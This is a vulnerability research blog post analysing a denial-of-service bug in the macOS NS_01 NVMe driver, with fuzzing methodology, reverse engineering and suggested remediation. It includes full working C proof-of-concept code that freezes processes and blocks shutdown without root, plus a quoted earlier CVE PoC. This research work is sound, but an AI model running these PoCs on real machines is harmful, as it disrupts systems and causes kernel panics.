Case Study: Analyzing macOS IONVMeFamily Driver Denial of Service Issue

Karol Mazurek

This post explores a case study of a Denial of Service (DoS) issue I identified this year in the NS_01 driver, part of the IONVMeFamily kernel extension on macOS. It was classified as not a security issue:

Although it is not a critical issue, I decided to write about it as the technical details and detection process provide valuable insights into Vulnerability Research and Reverse Engineering with macOS drivers.

I will not write here about what drivers are on MacOS or how we can interact with them from user mode, as I described that earlier in the Drivers on macOS – Introduction to IOKit and BSD drivers:

In this article, you will learn how to utilize old publicly available Proof of Concept for the detection of new vulnerabilities and how to reverse the root cause of the crash or unexpected behavior during fuzzing.

Enjoy!

High-Level Overview

A bug I identified is in the NS_01 driver on macOS in handling malformed requests through selector 5.

Due to an unvalidated size multiplier, the driver attempts to create an extensive IOMemoryDescriptor range. When this range is prepare() for Direct Memory Access (DMA), the calling thread becomes stuck in uninterruptible sleep. This renders the process unkillable and system shutdown impossible.

Ultimately, it triggers a system watchdog panic on reboot. On top of that, the driver is unusable until the system reboots and returns Error: 0xe00002be ((iokit/common) resource shortage) for all requests, so other system components that rely on the driver cannot use it. For example:

The issue poses a Denial of Service risk only. No root is needed to trigger this bug.

Affected Platforms

I tested this on Mac Mini M2 (macOS 15.2) and MacBook Pro M1 Max (macOS 15.3). As far as I know, the issue will not be patched, so it is good to keep that in mind during “dumb” fuzzing.

Proof of Concept Payload

This payload causes the driver to attempt wiring an extremely large memory range, leading to the observed DoS condition. The last 4 bytes in the structure must be 0xFF bytes.

char payload[16] = {
        0x01, 0x02, 0x03, 0x04, // Address part 1
        0x05, 0x06, 0x07, 0x08, // Address part 2
        0x09, 0x0a, 0x0b, 0x0c, // Log page ID
        0xFF, 0xFF, 0xFF, 0xFF  // Size multiplier
    };Code language: JavaScript (javascript)

On top of that, all bytes must be used (no NULL bytes).

How the Issue Was Discovered

I was looking for the old CVEs with publicly available Proof of Concepts related to drivers on macOS and found the CVE-2022-46697 from Antonio Zekić, where he discovered an out-of-bounds access issue:

#include <stdio.h>
#include <IOKit/IOKitLib.h>
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
int main(int argc, const char **argv)
{
    kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
    mach_port_t mach_port = MACH_PORT_NULL;
    IOMasterPort(MACH_PORT_NULL, &mach_port);
    io_connect_t client = MACH_PORT_NULL;
    io_service_t service = IOServiceGetMatchingService(mach_port, IOServiceMatching("AppleCLCD2"));
    size_t type = 0;
    size_t selector = 5;
    if (service == MACH_PORT_NULL)
    {
        return 0;
    }
    if (IOServiceOpen(service, mach_task_self(), type, &client) == KERN_SUCCESS)
    {
        for (size_t inputStructCnt = 0; inputStructCnt < 4096; inputStructCnt++)
        {
            void *inputStruct = calloc(inputStructCnt, sizeof(uint16_t));
            for (size_t offset = 0; offset < inputStructCnt; offset++)
            {
                ((uint16_t*)inputStruct)[offset] = 0xFF;
            }
            IOServiceOpen(service, mach_task_self(), type, &client);
            printf("type: %zu | selector: %zu | inputStructCnt: %zu\n", type, selector, inputStructCnt);
            IOConnectCallMethod(client, selector, 0, 0, inputStruct, inputStructCnt, 0, 0, 0, 0);
            IOServiceClose(client);
            free(inputStruct);
        }
    }
    return 0;
}
// clang -o CVE-2022-46697 CVE-2022-46697.c -framework IOKit
// ./CVE-2022-46697Code language: PHP (php)

Although this bug exploited the wrong bounds checking (the buffer size sent to the driver), an interesting part of the above PoC is the 0xFF byte used incrementally as the buffer content.

I checked if this was an essential part of triggering the bug by myself on the macOS version before 13.1, and it looked like any bytes could be used. I also asked Antonio to be sure my statement was correct.

What If?

At this point, I wanted to automate Antonios’ PoC to use it against all drivers’ external methods available on the latest macOS so I can test for it on each new macOS release. I knew I could use any byte for that, but then I thought about killing two birds with one stone.

What if 0xFF bytes trigger some integer overflows?

Dumb Ideas

The plan was to send 0xFF bytes and incremented buffer size to all drivers’ external methods, aiming to trigger a buffer overflow—much like Antonio did for a single AppleCLCD2 driver. Additionally, by exclusively using 0xFF bytes, I sought to uncover potential integer overflows. That way, even if I could not replicate a bug similar to CVE-2022-46697, I could still find some integer overflows as an alternative attack vector.

Frankly, at the beginning, I thought I would not find anything, as it was just another “dumb idea”.

Discovery

I ran the script against all macOS drivers registered in IORegistry. It just checked using IOServiceOpen if I could spawn UserClient (connect to the driver). Then, it iterated over driver external methods using selector IDs from 0 to 30. Finally, using IOConnectCallMethod it sends 0xFF bytes as input.

This simple C program printed the driver response code for me. While running, I encountered a freeze on the NS_01 driver in the selector 5. This is how I first time encountered this DoS issue.

Proof of Concept

Here is the Proof of Concept code to trigger the bug I found. Most importantly, we are looking for the NS_01 driver instance and talking to its external method exposed under selector 5 using the function IOConnectCallMethod, in which we send a payload structure. We can also use just 16 0xFF bytes.

// clang poc.c -o poc -framework IOKit ; ./poc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
#include <mach/mach_error.h>

#define PAYLOAD_SIZE 16

int main() {
    io_iterator_t iterator;
    io_service_t service;
    io_connect_t client = MACH_PORT_NULL;
    kern_return_t result;
    mach_port_t masterPort = kIOMainPortDefault;

    // To trigger the bug, none of the bytes can be 0x00, and the size multiplier must be set to 0xFFFFFFFF.
    char payload[PAYLOAD_SIZE] = { 
        0x01, 0x02, 0x03, 0x04, // Address part 1
        0x05, 0x06, 0x07, 0x08, // Address part 2
        0x09, 0x0a, 0x0b, 0x0c, // Log page ID
        0xFF, 0xFF, 0xFF, 0xFF  // Size multiplier
    };

    printf("Payload: ");
    for (int i = 0; i < PAYLOAD_SIZE; i++) {
        printf("%02x ", (unsigned char)payload[i]);
    }
    printf("\n");

    // Find all matching services
    CFDictionaryRef matching = IOServiceMatching("IOService");
    result = IOServiceGetMatchingServices(masterPort, matching, &iterator);
    if (result != KERN_SUCCESS) {
        fprintf(stderr, "Failed to get matching services: 0x%x (%s)\n", result, mach_error_string(result));
        return 1;
    }

    // Iterate through services to find "NS_01"
    while ((service = IOIteratorNext(iterator)) != MACH_PORT_NULL) {
        char serviceName[128];
        if (IORegistryEntryGetName(service, serviceName) != KERN_SUCCESS) {
            strcpy(serviceName, "unnamed_driver");
        }

        if (strcmp(serviceName, "NS_01") == 0) {
            printf("Found target driver: %s\n", serviceName);

            result = IOServiceOpen(service, mach_task_self(), 0, &client);
            if (result != KERN_SUCCESS) {
                fprintf(stderr, "Failed to open driver: 0x%x (%s)\n", result, mach_error_string(result));
                IOObjectRelease(service);
                continue;
            }

            printf("Sending payload to driver: %s\n", serviceName);
            result = IOConnectCallMethod(client, 5, NULL, 0, payload, PAYLOAD_SIZE, NULL, NULL, NULL, NULL);
            if (result != KERN_SUCCESS) {
                fprintf(stderr, "Call failed: 0x%x (%s)\n", result, mach_error_string(result));
            } else {
                printf("Payload sent successfully to driver: %s\n", serviceName);
            }

            IOServiceClose(client);
        }

        IOObjectRelease(service);
    }

    IOObjectRelease(iterator);
    printf("Exploit attempt completed.\n");

    return 0;
}Code language: PHP (php)

I will write a separate post about iterating over IOregistry and matching drivers.

Steps to Reproduce

Start the log capture using:

sudo log stream | grep -i nvme

Compile and run a proof-of-concept tool that opens the NS_01 driver and calls selector 5 with a 16-byte payload containing a 0xFFFFFFFF size multiplier:

clang poc.c -o poc -framework IOKit ; 
./poc

Observe that the calling process becomes stuck and cannot be killed, even from the root account:

Run the ./poc again and observe 0xe00002be - resource shortage response

Attempt to reboot or shut down the system and observe that:

  • In the log stream output, one of the system components that relies on NVMe fails
  • The process never properly terminates
  • If on battery, the machine remains stuck until the battery drains or a forced power cycle occurs
  • Reboot takes a very long time (like 5 minutes in my case), and upon reboot, a panic log appears

The question is – why is that happening?

Reverse Engineering

Unfortunately, there is no publicly available source code for most drivers, and thus, IDA is the answer, but before that, we need to know where to start. As we can see, NS_01 is part of the IONVMeFamily:

So, the KEXT we should investigate is com.apple.iokit.IONVMeFamily:

CrimsonUroboros -p $(ls kernelcache/System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache.decompressed) --dump_kext com.apple.iokit.IONVMeFamilyCode language: JavaScript (javascript)

When we filter for external method symbol dispatch function, we can find the below pointer:

Using this pointer in IDA with kernel cache loaded, we can find our starting point for investigation:

To summarize, our poc.c calls something in the AppleNVMeSMARTUserClient::externalMethod.

Uncommon UserClient External Method Dispatcher

Typically, dispatcher functions for drivers’ external methods use a method array like the one below. Each entry in the array is just the “next” selector ID starting counting from 0, and the total count of external methods to dispatch is taken as the fifth argument (marked with a number 3 below):

However, here we have some custom code that uses switch-case logic, and based on the selector ID used, the specific execution path is taken. We have 28 selectors in total:

Our interest is in selector id 5, which brings us to the below logic:

To find the root cause of the issue, we must examine each line in the code flow starting from line 172.

Big Memory Range

The bug seems rooted in the integer overflow caused by the sizeMultiplier field. When a value of 0xFFFFFFFF is passed as the multiplier, it results in the calculation of an excessively large buffer length:

So the 4LL * (*(payload + 3) + 1)); will produce 0x400000000 and it will be passed on to the CreateRequestBuffer in the third argument, as size_multiplier:

Here, we call another function IOMemoryDescriptor::withAddressRange which will use our overflown size_multiplier value, but first, it is aligned at line 12 using:

v3 = IOMemoryDescriptor::withAddressRange(our_buffer, (size_multiplier + 4095) & 0xFFFFFFFFFFFFF000LL, 3u, this[28]);Code language: JavaScript (javascript)

So, the final value passed to the IOMemoryDescriptor::withAddressRange function is 0x400001000 which is around 16GB memory range. We have something like this:

It creates an IOMemoryDescriptor to describe one virtual range of the specified map, the length we passed here is considerable, and because of that, if this descriptor is later used, it will produce a DoS.

Root Cause

The memory_descriptor for this memory is used in IONVMeBlockStorageDevice::GetLogPage:

At the beginning GetLogPage executes this line of code using our descriptor:

At this stage, I could not see any debug strings in the log stream output, and the process was frozen. This is why I think that prepare() function in GetLogPage is the last one we can reach with the payload from poc.c, and here is the root cause of the Denial of Service.

As the memory range to prepare for an I/O transfer is very big, this function never ends.

Bug Summary

  • Root Cause: Selector 5 handler in AppleNVMeSMARTUserClient::externalMethod.
  • No upper bounds on the size multiplier lead to an enormous IOMemoryDescriptor::withAddressRange(...)
  • It remains stuck in prepare() when the address is invalid or too large.
  • Impact: Sustained denial of service. The process cannot be killed, and the system shutdown is blocked indefinitely. A kernel panic eventually occurs on a forced power cycle.
  • Suggested Remediation: Enforce sane limits on the size multiplier or validate the user‐supplied address/length before creating such a large memory descriptor.

Final Words

Although this issue was classified as not a security vulnerability, the investigation process provided deep insights into macOS kernel behavior and highlighted best practices for vulnerability detection.

This case study serves as an educational resource for researchers and developers interested in kernel debugging, reverse engineering, and security analysis.

If this blog post interests you and you are interested in Cybersecurity in general, I encourage you to visit our AFINE blog regularly for new knowledge. If you are interested in macOS and want to learn more, bookmark the Snake_Apple repository, as any article I wrote will be listed there.

I hope you learned something new here!

Karol Mazurek
Head of Research

Is your company secure online?

Join our list of satisfied customers and safeguard your company’s data!

Trust us and leave your contact details. Our team will contact you to discuss the details and prepare a tailor-made offer for you. Full discretion and confidentiality of your data are guaranteed.

Willing to ask a question immediately? Visit our Contact page.